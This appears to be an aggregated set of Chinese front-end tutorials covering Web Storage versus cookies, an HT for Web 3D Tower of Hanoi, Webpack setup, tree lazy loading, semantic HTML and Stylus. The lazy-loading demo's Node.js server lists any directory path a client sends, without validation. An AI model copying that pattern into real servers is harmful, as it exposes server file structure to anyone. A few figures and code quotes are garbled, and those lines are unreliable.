Cookies是一种结构化的数据，是由web服务器返回给请求的一个服务器响应的一部分。Cookie可以通过设置HTTP响应头来进行设置。无论什么时候发送请求，浏览器都会把cookie作为请求头的一部分返回给服务器。

简单的来说，请求发送的目的是为了能够更新cookie里面的值。同时，无论数据有没有改变，cookies也总是会占据HTTP响应头的一部分。

另一方面，Web Storage的创建和管理完全是由客户端控制的。因此，尽管有服务器的参与有很多其他的优势，但Web Storage还是避免了web服务器的参与。这个方法产生了很多有益的结果，最明显的莫过于理论上导致了更好的web性能。（相关：Web性能文章）

同时，因为Web Storage可以在没有HTTP请求/响应的情况下工作（摆脱了网页初始与服务器的交互），在良好的实现情况下，存储在用户浏览器的数据可以在失去网络连接的情况下也能安全的更新和修改。

不同的浏览器实例

Web Storage能够解决用户开启多个浏览器窗口/标签的同步问题。在一个浏览器窗口在存储或者更新数据能够同时在其他浏览器窗口上同步，只要其他浏览器窗口在同一个网站上。

Cookies，相反，设计之初就不是用来处理设计多个浏览器窗口的情况。

存储大小限制

HTTP cookies和Web Storage对存储大小的限制在不同浏览器之间是不同的。但是，一般为了能够好的跨浏览器支持把存储大小限制在4.0KB左右是最佳的实践方案。

（这里有一种cookie测试工具可以让你测试浏览器的cookie的存储大小限制）

W3C Web Storage标准并没有推荐一个默认的存储限制，让浏览器自己决定。但是，现实中Web Storage完虐cookies的4.0KB的限制，一般情况下对于Web Storage对象的限制时5MB左右。

也就是说，Web Storage的大小限制是cookies的124527%倍那么大。

（这里也有一种Web Storage测试工具可以让你测试浏览器Web Storage的存储大小限制）

Storage的种类

Web Storage有两种方式来存储客户端数据：sessionStorage和localStorage.



	Web Storage
	存储数据的生命周期
	数据结构
	数据类型





	sessionStorage
	只在回话中保存
	键值对
	字符串



	localStorage
	持久保存
	键值对
	字符串





sessionStorage

sessionStorage是设计用来保存浏览器会话这个时间段的客户端数据的。换句话说数据只在用户还在网站浏览的时候才保存起来。

sessionStorage在实践中主要用来暂时的数据 存储。比如说，用户在网页表单上的输入能够在用户浏览器会话的阶段保存在sessionStorage对象当中。这样的话，数据就能够在浏览的整个过程中获得到而不需要把数据存储到服务器当中。也就是说，当用户不小心关闭或者刷新浏览器窗口，暂时的数据存储可以防止用户不得不重复输入数据。

localStorage

从实现的角度来说，localStorage和sessionStorage的实现方式是基本类似的。

localStorage和sessionStorage分享一套javascript方法（比如说：getItem,setItem等等），并且它也以键值对的方式存储数据。

但是，把数据存储在localStorage对象上意味着数据可以在用户的会话之间一直保存着。换句话说，数据可以在用户下一次访问这个网站的时候依然可以获取到。

Web Storage的浏览器支持

Caniuse.com的结论是Web Storage有良好的浏览器支持。

Web Storage浏览器支持表



	浏览器
	版本





	Internet Explorer
	IE8及IE8以上



	Mozilla Firefox
	Firefox 3.5及以上



	Google Chrome
	Chrome 4及以上



	Apple Safari
	Safari 4及以上



	Opera
	Opera 11.5及以上





目前，Web Storage标准是W3C Candidate Recommendation.总共有五个级别的推荐。"Candidate Recommendation"是这五个级别中的第三个级别。目前的Web Storage已经相当成熟因为这已经不是一个工作草案啦，但是与此同时，这个也不是最终的方案。

支持旧的没有Web Storage这个特性的浏览器可以通过使用polyfill来支持。对于localStorage的支持可以选择Store.js。

数据隐私和安全考虑

Ｗeb Storage和cookies有一样的禁止跨域的策略。这意味着一个网站的Web Storage不能被其他网站访问。这对于数据安全来说是有益的。但是这也导致了我们在需要子域的时候出现问题。对于这个问题，有其他的解决方案，比如由Zendesk开发的一个开源包Cross-Storage。

就像任何其他的客户端数据存储机制一样，保护存储的数据也是一个很重要的需要考虑的点。保存用户私密或者敏感的数据是不推荐的。这也让能够接触设备的人更方便的获取到本地数据。尤其是在一些其他人可以用公共的网络环境比如大学，图书馆，工作电脑等访问你的网站的地方更应该格外小心。

数据完备性也是一个考虑因素。必须要有在存储事务失败的时候的解决方案。当用户的Web Storage被关闭时候，或者当用户的存储空间不足的时候，或者超过浏览器的Web Storage限制的时候都有可能造成失败。Web Storage规范说明了当触发存储失败事件的标准的错误/警告输出，比如QuotaExceededError异常。

IndexedDB怎么样呢？

对于客户端存储来说，Indexed Database API(IndexedDB)提供了很多可以从Web Storage衍生出来的相同的有点。但是IndexedDB不是Web Storage规范的一部分所以这也超出了我们所要讨论的范围。

但是。IndexedDB也很值得我们简单的聊一下，因为它和Web Storage实现有很多共享的特点以及未来可能有联系的可能。

通过IndexedDB存储数据相对于Web Storage来说可能会更加复杂一些。但是，它也打开了通往更加复杂数据结构和关系的大门。

通过IndexedDB，数据会像你喜欢的客户端数据管理系统比如MYSQL,MSSQL,PostgreSQL等等数据库一样通过索引存储起来。（相关：最好的五中数据库管理工具）

除此之外，如果你实现了一个可以处理IndexedDB数据库的查询语言，你也可以想服务端数据库一样检索数据库。

相对于IndexedDB来说，Web Storage的数据获取能力是很基础的。Web Storage只有两个内置的获取数据的方法：.getItem和.key。（除了能够可以获取Web Storage对象的length属性）。因此，当你考虑到需要更加复杂的数据存储的时候，你可以考虑IndexedDB而不是Web Storage。


 基于HTML5的WebGL设计汉诺塔3D游戏
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在这里我们将构造一个基于HT for Web的HTML5+JavaScript来实现汉诺塔游戏。

http://hightopo.com/demo/hanoi_20151106/index.html

汉诺塔的游戏规则及递归算法分析请参考http://en.wikipedia.org/wiki/Tower_of_Hanoi。

知道了汉诺塔的规则和算法，现在就开始创建元素。用HT for Web（http://www.hightopo.com）现有的3D模板创建底盘和3根柱子不是问题，问题是要创建若干个中空的圆盘。一开始的想法是：创建一个圆柱体，将圆柱体的上下两端隐藏，设置柱面的宽度来实现圆盘的效果，经过多次尝试并查阅相关api文档，发现柱面是没有厚度的，改方法不可行。

后来在HT for Web自定义3D模型的WebGL应用（http://www.hightopo.com/blog/381.html）受到启发，圆盘的形成就是在xy平面上的一个矩形，根据y轴旋转一周产生的，通过查阅相关文档，最总决定采用ht.Default.createRingModel方法来创建圆盘模型，然后在创建node的时候通过shape3d属性引用创建好的模型。



在逻辑实现上，采用了栈的先进后出的原理，对圆柱上的圆盘做顺序控制，确保每次移动的圆盘都是最小的圆盘。

在算法上，采用的是递归算法，通过递归算法，将搬迁过程一步一步记录下来，再采用堆的原理一步一步地执行搬迁过工作。



http://v.youku.com/v_show/id_XODcwMTk4MDI4.html

http://hightopo.com/demo/hanoi_20151106/index.html

var barNum = 5, // 圆盘个数
    cylinderHeight = barNum * 20 + 40, // 圆柱高度
    barrelMinORadius  = 50, // 圆盘最大外半径
    barrelIRadius = 10, // 圆盘内半径
    poorRadius = 20, // 圆盘外半径差值
    barrelMaxORadius = barrelMinORadius + barNum * poorRadius,
    barrelHeight = 20, // 圆盘高
    barPadding = 20, // 柱体之间的间隙
    floorX = barrelMaxORadius * 6 + barPadding * 4, // 底盘长
    floorY = 20, // 底盘高
    floorZ = 2 * barrelMaxORadius + barPadding * 2, // 底盘宽
    // 柱体集
    positions = [
        {
            barrels: [],
            position: [-(2*barrelMaxORadius + barPadding), cylinderHeight / 2 + 1, 0]
        },{
            barrels: [],
            position: [0, cylinderHeight / 2 + 1, 0]
        },{
            barrels: [],
            position: [(2*barrelMaxORadius + barPadding), cylinderHeight / 2 + 1, 0]
        }
    ],
    runOrder = [], // 圆盘移动顺序集
    // 动画参数
    params = {
        delay: 10,
        duration: 500,
        easing: Easing['easeBoth']
    };

/**
 * 初始化程序
 * */
function init(){
    dataModel = new ht.DataModel();
    g3d = new ht.graph3d.Graph3dView(dataModel);
    view = g3d.getView();
    view.className = 'main';
    document.body.appendChild(view);
    window.addEventListener('resize', function (e) {
        g3d.invalidate();
    }, false);

    g3d.setEye([0, cylinderHeight * 2, floorX * sin(2*PI/360*60)]);

    // 初始化节点
    initNodes();

    moveAnimation();
}

/**
 * 构造游戏移动队列
 * diskQuantity：圆盘个数
 * positionA：起点
 * positionB：中转点
 * positionC：终点
 * */
function buildRunOrder(diskQuantity, positionA, positionB, positionC){
    if (diskQuantity == 1) {
        runOrder.push([positionA, positionC]);
    } else {
        buildRunOrder(diskQuantity - 1, positionA, positionC, positionB);
        buildRunOrder(1, positionA, positionB, positionC);
        buildRunOrder(diskQuantity - 1, positionB, positionA, positionC);
    }
}

/**
 * 移动动画
 * positionA：起点
 * positionC：终点
 * */
function moveAnimation(positionA, positionC){
    if(!positionA){
        var poses = runOrder.shift();
        if(!poses){
            setTimeout(reset, 500);
        }else{
            moveAnimation(positions[poses[0]], positions[poses[1]]);
        }
    }else {
        var barrel = positionA.barrels.pop();
        var position = positionC.cylinder.p3(),
            barPos = barrel.getPosition3d();
        position[1] = position[1] + floorY + barrelHeight * positionC.barrels.length - cylinderHeight / 2;
        setPolylinePoints(polyline, barPos, position);
        params.action = function (v, t) {
            var length = g3d.getLineLength(polyline),
                offset = g3d.getLineOffset(polyline, length * v),
                point = offset.point,
                px = point.x,
                py = point.y,
                pz = point.z;
            barrel.p3(px, py, pz);
        };
        params.finishFunc = function () {
            positionC.barrels.push(barrel);
            var poses = runOrder.shift();
            if (!poses) {
                moveAnimation();
            } else {
                moveAnimation(positions[poses[0]], positions[poses[1]]);
            }
        };
        anim = ht.Default.startAnim(params);
    }
}

/**
 * 重置游戏
 * */
function reset(){
    if(positions[0].barrels.length == 0){
        positions[0].barrels = positions[2].barrels;
    }
    positions[2].barrels = [];
    for(var i = 0, len = positions[0].barrels.length; i < len; i++){
        var pos = positions[0].cylinder.p3();
        pos[1] = pos[1] + floorY + i * barrelHeight - cylinderHeight / 2;
        positions[0].barrels[i].p3(pos);
    }
    buildRunOrder(barNum, 0, 1, 2);
    setTimeout(moveAnimation, 500);
}

/**
 * 初始化节点
 * */
function initNodes(){
    // 底盘
    floor = createNode([0, floorY / 2, 0], [floorX, floorY, floorZ]).s({
        'shape3d':  'box',
        '3d.movable': false
    });

    // 创建柱子
    for(var i = 0, len = 3; i < len; i++){
        positions[i].cylinder = createNode(positions[i].position, [20, cylinderHeight, 20], floor).s({
            'shape3d':  'cylinder',
            'shape3d.color': '#E5BB77',
            '3d.movable': false
        });
    }

    // 创建圆盘
    createBarrels(barNum, positions[0].cylinder);

    // 创建圆盘运行轨迹
    polyline = new ht.Polyline();
    polyline.setSegments([1, 2, 4, 2]);
    polyline.s({
        'shape.background': null,
        'shape.border.color': 'rgba(0,0,0,0)',
        'shape.border.gradient.color': 'rgba(0,0,0,0)',
        'shape.border.pattern': [20, 10],
        'shape3d.resolution': 50
    });
    dataModel.add(polyline);
}

/**
 * 设置路线节点
 * */
function setPolylinePoints(polyline, from, to){
    polyline.setPoints([
        {x: from[0], y: from[2], e: from[1]},
        {x: from[0], y: from[2], e: cylinderHeight},
        {x: from[0], y: from[2], e: cylinderHeight + 60},
        {x: to[0], y: to[2], e: cylinderHeight + 60},
        {x: to[0], y: to[2], e: cylinderHeight},
        {x: to[0], y: to[2], e: to[1]}
    ]);
    return polyline;
}

/**
 * 创建圆盘
 * barNum：圆盘个数
 * host：吸附节点
 * */
function createBarrels(barNum, host){
    // 圆盘初始x位置
    var pos = host.p3();

    for(var i = barNum, j = 0; i > 0; i--, j++){
        pos[1] = barrelHeight * j + floorY;
        positions[0].barrels.push(createBarrel(pos, [1, barrelHeight, 1], barrelMinORadius + i*poorRadius, barrelIRadius, host).s({
            'shape3d.color': randomColor(),
            '3d.movable': false
        }));
    }
}

/**
 * 创建节点
 * p3：节点位置
 * s3：节点大小
 * host：吸附节点
 * */
function createNode(p3, s3, host){
    var node = new ht.Node();
    node.p3(p3);
    node.s3(s3);
    node.setHost(host);
    node.s({
        'wf.visible': 'selected',
        'wf.color': '#FF6B10',
        'wf.width': 2,
        'wf.short': true
    });
    dataModel.add(node);
    return node;
}

/**
 * 创建空心圆柱
 * p3：圆桶位置
 * s3：圆桶大小
 * oRadius：圆桶外径
 * iRadius：圆桶内径
 * host：吸附节点
 * */
function createBarrel(p3, s3, oRadius, iRadius, host){
    return createNode(p3, s3, host).s({
        'shape3d':  ht.Default.createRingModel([
            oRadius, 1,
            oRadius, 0,
            iRadius, 0,
            iRadius, 1,
            oRadius, 1
        ], null, 20, false, false, 70)
    });
}

http://hightopo.com/demo/hanoi_20151106/index.html


 前端webpack workflow（一）——Webpack入门

作者：Jogis

来源： 前端webpack workflow（一）——Webpack入门



                    
 作者：Jogis 
 原文链接：https://github.com/yesvods/Blog/issues/2
 转载请注明原文链接以及作者信息 

模块加载器



随着前端项目越来越复杂（尤其是大型SPA），以及命名空间混乱，一系列模块加载器随之而生。

Javascript模块标准有：AMD 和 CommonJS

最有名的加载器有：RequireJS、SeaJS、Bowserify

那么，有人就会问，这么多模块加载器，为什么还要重复发明轮子？

童鞋们骚安勿燥，下面为大家娓娓道来 Webpack的特性以及使用入门。

Webpack



为什么需要另外一款模块加载器？

现有的模块加载器，不能很好适配大型项目（大型单页面应用程序）开发。开发这样一款加载器最大原因，就是为了代码分离以及静态资源模块化无缝接合。

尽管尝试去拓展现有的模块加载器，但最后发现不可能完成所有功能目标。

开发这一款加载器的目标


	分离现有依赖树，按需加载


	高效保证第一次加载


	静态资源模块化


	第三方库模块化加载


	实现加载器几乎所有环节可配置性


	适配大项目开发




Webpack特性功能？

代码分离

Webpack有两种依赖声明方式：同步与异步。异步方式，将依赖分割成多个节点，然后每个节点形成一个新的文件块。经过优化后的文件块树，会以一个个文件形式分发出去（仅仅打包成一个大文件形式是很低效的，详见）。

加载器插件

原生的Webpack只能处理JS文件，使用加载器插件，可以将其他资源专为JS资源。通过这种方式来加载，每一种资源都可以被Webpack看作是一个模块来加载。

智能模块解析

Webpack内置一个智能加载模块，可以用于处理几乎所有的第三方库。它甚至可以解析依赖声明的表达式，比如 require("./templates" + name + ".jade")。Webpack会处理最常见的JS模块标准：CommonJS 和 AMD。

插件系统

Webpack的最大特点，就是配套了非常丰富的插件系统。大部分内置特性功能都是基于这套插件系统。它可以让你根据需要自定义Webpack，将一般插件作为开源项目发布出去。

Webpack安装

通过NPM包管理器

npm install -g webpack

项目中初始化Webpack

最优的方式就是，在项目中声明Webpack依赖。通过声明依赖，可以选择一个本地的Webpack版本，而不需要使用全局声明的版本。

添加一个npm 配置文件package.json：

npm init

然后需要回答一系列问题。如果希望把自己项目发布到npm上面，这些问题的回答非常重要。（如果不需要的话，一直回车就好啦）

安装webpack、添加依赖到package.json

npm install webpack --save-dev

其中--save-dev就是声明在开发阶段需要用到webpack，并且自动把webpack依赖写到package.json配置文件上面，生产环境就不需要安装（上生产环境时候，webpack已经把项目打包好啦，不需要它老人家出马了^_^）


 HT for Web的HTML5树组件延迟加载技术实现

作者：hightopo

来源： HT for Web的HTML5树组件延迟加载技术实现



                    
HT for Web的HTML5树组件有延迟加载的功能，这个功能对于那些需要从服务器读取具有层级依赖关系数据时非常有用，需要获取数据的时候再向服务器发起请求，这样可减轻服务器压力，同时也减少了浏览器的等待时间，让页面的加载更加流畅，增强用户体验。

进入正题，今天用来做演示的Demo是，客户端请求服务器读取系统文件目录结构，通过HT for Web的HTML5树组件显示系统文件目录结构。

首先，我们先来设计下服务器，这次Demo的服务器采用Node.js，用到了Node.js的express、socket.io、fs和http这四个模块，Node.js的相关知识，我在这里就不阐述了，网上的教材一堆，这里推荐下socket.io的相关入门http://socket.io/get-started/chat/。

服务端代码代码：


var fs = require('fs'),
    express = require('express'),
    app = express(),
    server = require('http').createServer(app),
    io = require('socket.io')(server),
    root = ‘/Users/admin/Projects/ht-for-web/guide‘;

io.on('connection', function(socket){
    socket.on('explore', function(url){
        socket.emit('file', walk(url || root));
    });
});

app.use(express.static('/Users/admin/Projects/ht-for-web'));

server.listen(5000, function(){
    console.log('server is listening at port 5000');
});



io监听了connection事件，并获得一个socket；socket再监听一个叫explore的自定义事件，通过url参数获取到数据后，派发一个叫file的自定义事件，供客户端监听并做相应处理；通过app.use结合express.static设置项目路径；最后让server监听5000端口。

到此，一个简单的服务器就搭建好了，现在可以通过http://localhost:5000来访问服务器了。等等，好像缺了点什么。对了，获取系统文件目录结构的方法忘记给了，OK，那么我们就先来看看获取整站文件的代码是怎么写的：


function walk(pa) {
    var dirList = fs.readdirSync(pa),
        key = pa.substring(pa.lastIndexOf('/') + 1),
        obj = {
            name: key,
            path: pa,
            children: [],
            files: []
        };
    dirList.forEach(function(item) {
        var stats = fs.statSync(pa + '/' + item);
        if (stats.isDirectory()) {
            obj.children.push(walk(pa + '/' + item));
        }
        else {
            obj.files.push({name: item, dir: pa + '/' + item});
        }
    });

    return obj;
}



如大家所见，采用递归的方式，逐层遍历子目录，代码也没什么高深的地方，相信大家都看得懂。那我们来看看运行效果吧：


duang～文件目录结构出来了，是不是感觉酷酷的，这代码量不小吧。其实，代码并不多，贴出来大家瞅瞅：


<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>tree-loader</title>
    <script src="/socket.io/socket.io.js"></script>
    <script src="/lib/core/ht.js"></script>
    <script>
        var socket = io(), idMap = {};
        function init() {
            var dm = window.dm = new ht.DataModel(),
                    tree = new ht.widget.TreeView(dm);

            tree.addToDOM();

            socket.on('file', function(data) {
                var root = dm.getDataById(idMap[data.path]);
                createChildren(data.children || [], root, dm);
                createFiles(data.files || [], root, dm);
            });
            socket.emit('explore');
        }

        function createChildren(children, parent, dm) {
            children.forEach(function(child) {
                var n = createData(child, parent);
                dm.add(n);
                createChildren(child.children || [], n, dm);
                createFiles(child.files || [], n, dm);
            });
        }

        function createFiles(files, parent, dm){
            files.forEach(function(file){
                var n = createData(file, parent);
                dm.add(n);
            });
        }

        function createData(data, parent){
            var n = new ht.Data();
            n.setName(data.name);
            n.setParent(parent);
            n.a('path', data.path);
            idMap[data.path] = n.getId();
            return n;
        }
    </script>
</head>
<body onload="init();">
</body>
</html>



这就是全部的HTML代码，加上空行总共也就50几行，怎么样，有没有感觉HT for Web很强大。废话不多说，来看看这些代码都干了些什么：



	要用到socket.io就需要在页面引入<script src=“/socket.io/socket.io.js”></script>，其实在我的项目中并不存在/socket.io/socket.io.js文件，但是却能正常使用，具体什么原因，我就不多说，大家自己研究去吧；


	最重要的是要引入HT for Web的核心包<script src=“/lib/core/ht.js”></script>，这个包不引入的话，下面的HT for Web组件就无法使用；


	接下来就是代码了，首先创建一个数据容器DataModel，用来存放文件目录的节点数据，再创建一个TreeView对象并引用刚创建到数据容器，接下来通过socket监听file事件，获取服务器返回的数据，在回调函数中通过调用createChildren和createFiles函数，创建文件目录节点对象，并添加到数据容器中，最后是向服务器发起数据请求，即通过socket派发explore事件。




整体的思路是这样子的，当然这离我们要实现的树组件的延迟加载技术还有些差距，那么，HT for Web的HTML5树组件的延迟加载技术是怎么实现的呢？不要着急，马上开始探讨。

首先我们需要改造下获取文件目录的方法walk，因为前面介绍的方法中，使用的是加载整站文件目录，所以我们要将walk方法改造成只获取一级目录结构，改造起来很简单，就是将递归部分改造成获取当前节点就可以了，具体代码如下：


obj.children.push(walk(pa + '/' + item));
// 将上面对代码改成下面的代码
obj.children.push({name: item, path: pa + '/' + item});



这样子服务器就只请求当前请求路径下的第一级文件目录结构。接下来就是要调整下客户端代码了，首先需要给tree设置上loader:


tree.setLoader({
    load: function(data) {
        socket.emit('explore', data.a('path'));
        data.a('loaded', true);
    },
    isLoaded: function(data) {
        return data.a('loaded');
    }
});



loader包含了两个方法，load和isLoaded，这两个方法的功能分别是加载数据和判断数据是否已经加载，在load方法中，对socket派发explore事件，当前节点的path为参数，向服务器请求数据，之后将当前节点的loaded属性设置为true；在isLoaded方法中，返回当前节点的loaded属性，如果返回为true，那么tree将不会在执行load方法向服务器请求数据。

接下来需要移除createChildren的两个回调方法，并且在createFiles方法中为创建出来的节点的loaded属性设置成true，这样在不是目录的节点前就不会有展开的图标。createChildren和createFiles两个方法修改后的代码如下：


function createChildren(children, parent, dm) {
    children.forEach(function(child) {
        var n = createData(child, parent);
        dm.add(n);
    });
}

function createFiles(files, parent, dm){
    files.forEach(function(file){
        var n = createData(file, parent);
        n.a('loaded', true);
        dm.add(n);
    });
}



如此，HT for Web的HTML5树组件延迟加载技术就设计完成了，我在服务器的控制台打印出请求路径，看看这个延迟加载是不是真的，如下图：



看吧，控制台打印的是4条记录，第一条是请求跟目录时打印的，我在浏览器中展开里三个目录，在控制台打印了其对应的目录路径。

等等，现在这个目录看起来好烦，只有文字，除了位子前的展开图标可以用来区别文件和目录外，没有其他什么区别，所以我决定对其进行一番改造，让每一级目录都有图标，而且不同文件对应不同的图标，来看看效果吧：


怎么样，是不是一眼就能看出是什么文件，这个都是样式上面的问题，我就不再一一阐述了，直接上代码：


<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script src="/socket.io/socket.io.js"></script>
    <script src="/build/ht-debug.js"></script>
    <script>
        var socket = io(), idMap = {};
        function init() {
            var icons = ['css', 'dir-open', 'dir', 'file', 'flash', 'gif', 'html', 'jar',
                'java', 'mp3', 'pdf', 'png', 'script', 'txt', 'video', 'xml', 'zip'];
            icons.forEach(function(c){
                ht.Default.setImage(c, 16, 16, '/test/wyl/images/' + c + '.png');
            });

            var dm = window.dm = new ht.DataModel(),
                    tree = new ht.widget.TreeView(dm);
            tree.setLoader({
                load: function(data) {
                    socket.emit('explore', data.a('path'));
                    data.a('loaded', true);
                },
                isLoaded: function(data) {
                    return data.a('loaded');
                }
            });
            tree.getLabelFont = function(data){
                return '13px Helvetica, Arial, sans-serif';
            };
            tree.getLabelColor = function (data) {
                return this.isSelected(data) ? 'white' : 'black';
            };
            tree.getSelectBackground = function (data) {
                return '#408EDB';
            };
            tree.getIcon = function (data) {
                var icon = data.getIcon() || 'file';
                if (data.a('isdir')) {
                    if (this.isExpanded(data)) {
                        icon = 'dir-open';
                    } else {
                        icon = 'dir';
                    }
                }
                return icon;
            };
            tree.addToDOM();

            socket.on('file', function(data) {
                var root = dm.getDataById(idMap[data.path]);
                createChildren(data.children || [], root, dm);
                createFiles(data.files || [], root, dm);
            });
            socket.emit('explore');
        }

        function createChildren(children, parent, dm) {
            children.forEach(function(child) {
                var n = createData(child, parent);
                n.a('isdir', true);
                dm.add(n);
            });
        }

        function createFiles(files, parent, dm){
            files.forEach(function(file){
                var n = createData(file, parent);
                n.a('loaded', true);
                dm.add(n);
            });
        }

        function createData(data, parent){
            var name = data.name,
                    icon = 'file';
            if (/.jar$/.test(name)) icon = 'jar';
            else if (/.css$/.test(name)) icon = 'css';
            else if (/.gif$/.test(name)) icon = 'gif';
            else if (/.png$/.test(name)) icon = 'png';
            else if (/.js$/.test(name)) icon = 'script';
            else if (/.html$/.test(name)) icon = 'html';
            else if (/.zip$/.test(name)) icon = 'zip';
            var n = new ht.Data();
            n.setName(data.name);
            n.setParent(parent);
            n.setIcon(icon);
            n.a('path', data.path);
            idMap[data.path] = n.getId();
            return n;
        }
    </script>
</head>
<body onload="init();">
</body>
</html>



在最后，附上完整的服务器代码：


var fs = require('fs'),
    express = require('express'),
    app = express(),
    server = require('http').createServer(app),
    io = require('socket.io')(server),
    root = '/Users/admin/Projects/ht-for-web/guide';

io.on('connection', function(socket){
    socket.on('explore', function(url){
        socket.emit('file', walk(url || root));
    });
});

app.use(express.static('/Users/admin/Projects/ht-for-web'));

server.listen(5000, function(){
    console.log('server is listening at port 5000');
});

function walk(pa) {
    var dirList = fs.readdirSync(pa),
        key = pa.substring(pa.lastIndexOf('/') + 1),
        obj = {
            name: key,
            path: pa,
            children: [],
            files: []
        };
    dirList.forEach(function(item) {
        var stats = fs.statSync(pa + '/' + item);
        if (stats.isDirectory()) {
            obj.children.push({name: item, path: pa + '/' + item});
        }
        else {
            obj.files.push({name: item, dir: pa + '/' + item});
        }
    });

    return obj;
}



 我的HTML会说话——从实用出发，谈谈HTML的语义化

作者：array_huang
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语义化HTML是什么？有什么意义？

所谓语义化HTML，就是从代码层次表达程序员的想法、思路，同时描绘出网站页面的结构：


	与同为人类的程序员沟通，帮助程序员快速掌握当前代码。这一点其实是可以通过注释来实现的，不过用上语义化HTML多多少少可以省点注释，哈哈。


	与同为代码构筑的系统（例如残疾人士阅读器以及搜索引擎爬虫等）沟通，帮助其快速、准确达到目的。由于这类系统与人类的智能相比起来实在有限，因此需要协定好通过什么样的方式来进行沟通，而W3C的决议就是语义化HTML的标准了。




最近在恶补前端基础时，碰到这一个知识点，发现市面上的资料大多杂乱，而且往往只能意会而不能言传，很难找到其中有什么实用的价值，因此特写此文，不妄求全面剖析，只求实用至上。

文档章节类HTML标签

文档章节类HTML标签能体现网页的结构，因此也拥有最多的语义化HTML标签。


<article> / <section>


这俩标签的语义比较相像，都是表示文档中的一个独立区域（独立单元），其中还可以从结构上拆分成<header> / <footer>等部分。
这俩标签比较起来的话，<article>比<section>要大一级：


	<article>中可以包含<section>，举个例子：一篇博客文章的下方或侧方一般会有“相关文章”的列表，那么，这一整块HTML就可以用<article>给包起来，而“相关文章”的那一小块HTML则可以用section来表示；再举个例子，比如说文章的“版权信息”，也可以用section来表示。


	<article>中可包含<article>，比如说：一篇文章以及这篇文章的用户评论，整块HTML可以用<article>来包起来，而用户评论从逻辑分析起来也是从属于这篇文章的，因此也可以用<article>包起来并归到文章的<article>之下。


	<section>之下不能再放<section>了，这从侧面表示这是最小一级的独立单元标签。


	<article>一般用于“详细内容”，因此一般一个页面只含有一个顶级的<article>。而相反，<section>的用途更广泛一些，除却“详细内容”外都可以用<section>来进行包裹，比如说：网站首页上，可以利用<section>来展示不同分类/栏目的文章列表。





<header> / <footer>


这俩标签性质比较类似，所以放到一起来比较：一个放头部，一个放底部。
乍一看，觉得这俩标签就是网页的页头（一般包含网站LOGO、BANNER、顶级导航等）和页尾（网站本身的信息，包括版权信息、联系方式等），但实际上这俩标签的应用范围远不止于此，完全可以作为其它独立单元（<article>/<section>/<aside>/<nav>等）中的一部分，比如说下面的这个文章栏目，红色框住的部分可以用<header>（可以考虑里面包含个<nav>），而蓝色框住的部分就可以用<footer>了。



又比如说一篇文章，文章的标题/作者/发布时间等信息可以使用<header>，而文章的版权信息、参考文章列表等则可以使用<footer>。

<main>

既然提到<header> / <footer>，就不得不提<main>了。<main>望文生义，就是整个页面的主体部分。跟<header> / <footer>不一样，一个页面只能有一个<main>，不能放进其它独立单元里。
<main>仅包括一个页面最核心的内容，比如说一篇文章，其它旁枝末节，比如搜索栏、菜单等内容不应被包含其中。

<aside>

<aside>一般表示页面主体内容以外的侧边栏，比如上文提到的“相关文章”，又或者是“作者个人资料”，如果是这些情况的话，一般会被包含在<article>中。另外，<aside>也可以表示一些工具功能，比如说“分享文章”、“回到顶部”等功能。

<nav>

<nav>表示网站的导航，但不一定所有的导航都需要用<nav>来实现，建议仅用来实现比较重要的导航，例如网页页脚的链接列表，直接用<footer>即可。另外，每个页面可以有多个<nav>。

<h1> - <h6>

<h1> - <h6>表示标题，共有6级，其中<h1>的权重最高，<h6>的权重最低，其它的则依次递减。一般来说，<h1>需要分配给网站名/LOGO，如果有设置二级域名，也可以分配给分站的网站名/LOGO。
对于搜索引擎来说，<h1> - <h3>是了解网页的重要途径，因此一定要恰当地分配，比如：给文章的标题用上<h2>，给文章中的各个小标题用上<h3>。

文本级别语义HTML标签

文本级别语义HTML标签数量不少，但我认为有实用价值的不多。

<a>

<a>表示一个通向其它页面或当前页面其它位置的入口，这是一个历史悠久的语义化标签，同时也是搜索引擎的基础，想必大家都很熟悉了，因此这里不作详述。

<p>

<p>表示一个段落，这也是一个悠久的标签了。从语义上来说，我更倾向于使用<p>来表示一段纯文本，而不是利用<p>来呈现某个样式。


<em> / <strong>


这俩标签都是用来强调某个词/句，从语气上来说，<strong>比<em>的语气更重，也就起到更强的强调作用。
据说，这俩标签是用来在语义上取代<i>和<b>。那么，<em>跟<i>，有什么不一样呢？答案是，<i>现在已经不用来表示“强调”，而仅仅只是把一些专有名词（比如人名、书名等）跟普通的字词区分开来。<b>的情况与<i>类似，也不再表示强调了，从某种程度上来说已经失去语义了，仅仅作为完成css样式的辅助标签。

<time>

<time>用来表示24小时制时间或者公历日期，若表示日期则也可包含时间和时区。对于<time>，尽量用机器能识别的时间格式，而不要用一些模糊的表达，比如说“一小时前”、“两天前”等。

组合型HTML标签

<figure>

<figure>表示一段富文本，可以是一个文章插图、一段代码、一个表格，通常搭配<figcaption>来表述这段富文本的描述/标题，当然，一个<figure>下只能有一个<figcaption>。
我倒是想到了<figure>的一个典型运用，那就是瀑布流文块：


结构化数据

这一块在SEO领域相当重要，根据目前已经拟定好的一些规则，你可以明确地标明某页面主体的各个属性。
举个例子：一个商品的详细信息页，用普通的语义化来表示，大概只有商品的名称可以进搜索引擎的法眼；但自从有了结构化数据，可以通过某些标签及属性，指明商品的价格、供应商、实物图等内容；搜索引擎获取到该商品页的各个属性后，会在搜索结果页面直接呈现出来，另外在排名上也会有所偏重。
这方面的内容很多，建议还是参考各大搜索引擎的优化指南，毕竟各搜索引擎对这结构化数据的支持程度不一样。这里放出Google支持的结构化数据的官网：http://schema.org/


 Stylus：轻而易举实现 CSS 前缀和 reset CSS

作者：小弟调调

来源： Stylus：轻而易举实现 CSS 前缀和 reset CSS



                    
   

Break free from CSS prefix hell!  
摆脱CSS前缀地狱！   

下载地址：AutoPrefixCSS

